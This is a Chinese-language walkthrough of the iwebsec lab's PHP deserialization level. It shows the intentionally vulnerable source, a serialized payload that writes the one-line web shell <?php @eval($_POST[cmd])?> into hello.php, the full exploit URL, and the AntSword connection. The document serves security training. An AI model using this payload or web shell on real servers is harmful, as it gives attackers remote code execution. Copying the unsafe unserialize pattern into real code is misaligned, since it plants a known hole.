iwebsec靶场反序列漏洞通关笔记。
第一关
详细的源码为
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?re=hello </p>
</div>
<body>
<?php
highlight_file(__FILE__);
class a {
var $test = 'hello';
function __destruct(){
$fp = fopen("/var/www/html/vuln/unserialize/01/hello.php","w");
fputs($fp,$this->test);
fclose($fp);
}
}
$class = stripslashes($_GET['re']);
$class_unser = unserialize($class);
require '/var/www/html/vuln/unserialize/01/hello.php';
require_once '../../footer.php';
?>
存在反序列漏洞的原因:
1、unserialize函数的参数$class可控, $class可以通过url的get参数re获取到
2、存在__destruct函数可以将$test的值写入hello.php文件中,所以可以利用该函数将PHP代码传入hello.php文件中
基于此由于test值可以写入hello.php,那么我们想向hello.php中写入一句话木马内容,<?php @eval($_POST[cmd])?> 木马的连接参数为cmd,这样构建php脚本来生成php序列化值
<?php
class a{
var $test = '<?php @eval($_POST[cmd])?>';
}
$a = new a();
$class_ser = serialize($a);
print_r($class_ser);
?>
如上所示 执行后生成结果为
那么我们就可以构造参数
O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[cmd])?>";}
即
http://192.168.71.138/unserialize/01/index.php?re=O:1:"a":1:{s:4:"test";s:26:"<?php @eval($_POST[cmd])?>";}
点击此url既可以生成一句话木马文件,并写入到 /var/www/html/vuln/unserialize/01/hello.php文件中。不过这里要注意在docker容器中并不存在 /var/www/html/vuln/unserialize/01/hello.php文件,真实的路径为 /var/www/html/unserialize/01/hello.php 故而需要将源码中hello.php修改为正确的路径,如下所示:
<?php
require_once('../../header.php');
?>
<html>
<head>
<title>反序列化漏洞</title>
</head>
<h2>反序列化漏洞</h2>
<div class="alert alert-success">
<p>/index.php?re=hello </p>
</div>
<body>
<?php
highlight_file(__FILE__);
class a {
var $test = 'hello';
function __destruct(){
$fp = fopen("/var/www/html/unserialize/01/hello.php","w");
fputs($fp,$this->test);
fclose($fp);
}
}
$class = stripslashes($_GET['re']);
$class_unser = unserialize($class);
require '/var/www/html/unserialize/01/hello.php';
require_once '../../footer.php';
?>
注意这里源码中hello.php的路径要写为正确的绝对路径,不可以是相对路径。如下所示生成的木马脚本如下所示:
[root@bc23a49cb37c 01]# cat hello.php
<?php @eval($_POST[cmd])?>
将链接加入到蚁剑
url地址为
http://192.168.71.138/unserialize/01/hello.php
密码为cmd
如下所示
文件管理查看,连接成功